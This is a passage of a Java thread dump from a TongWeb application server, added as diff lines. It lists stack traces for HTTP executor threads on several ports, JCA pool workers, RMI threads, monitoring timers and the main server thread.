+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Exec Stream Pumper" #160 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.io.FileInputStream.readBytes(Native Method)
+ at java.io.FileInputStream.read(FileInputStream.java:255)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read1(BufferedInputStream.java:286)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
+ at java.io.FilterInputStream.read(FilterInputStream.java:107)
+ at com.tongweb.commons.exec.StreamPumper.run(StreamPumper.java:107)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-8" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RetryTimer" #86 daemon [WAITING] on java.util.TaskQueue@5fca880d
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"Thread-4" #25 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Agent-Cpu-Getter" #135 daemon [WAITING] on java.lang.UNIXProcess@61581425
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
+ at com.tongweb.commons.exec.DefaultExecutor.executeInternal(DefaultExecutor.java:364)
+ at com.tongweb.commons.exec.DefaultExecutor.execute(DefaultExecutor.java:166)
+ at com.tongweb.util.sys.OptionalSysInfoUtil.executeCommandLine(OptionalSysInfoUtil.java:328)
+ at com.tongweb.util.sys.OptionalSysInfoUtil.executeDirectly(OptionalSysInfoUtil.java:306)
+ at com.tongweb.util.sys.OptionalSysInfoUtil.getCpuPercentHeavily(OptionalSysInfoUtil.java:98)
+ at com.tongweb.util.sys.OptionalSysInfoUtil.initCpuPercentCache(OptionalSysInfoUtil.java:85)
+ at com.tongweb.util.sys.OptionalSysInfoUtil.access$100(OptionalSysInfoUtil.java:14)
+ at com.tongweb.util.sys.OptionalSysInfoUtil$1.run(OptionalSysInfoUtil.java:63)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #97 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1345)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-2" #16 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-1" #37 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
+
+"http-nio2-9060-exec-5" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"main" #1 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.catalina.core.StandardServer.awaitSocket(StandardServer.java:510)
+ at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:450)
+ at com.tongweb.catalina.startup.Catalina.await(Catalina.java:743)
+ at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:364)
+ at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:501)
+
+"http-nio2-8080-exec-3" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-10" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-1" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-1" #15 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@18739d7b
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"http-nio2-9060-exec-9" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-5" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-4" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-9" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW7-Monitor-1-thread-1" #116 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f4f2740
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Reaper" #90 [WAITING] on java.lang.ref.ReferenceQueue$Lock@44ce4444
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-4" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"IntelligentRouterHealthInfoCollector" #146 [TIMED_WAITING] on java.util.TaskQueue@651689c4
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-8080-exec-9" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-1" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-0" #89 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-33" #145 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@610a5858
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-Acceptor-0" #114 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:457)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-Acceptor-0" #100 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@5749161e
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
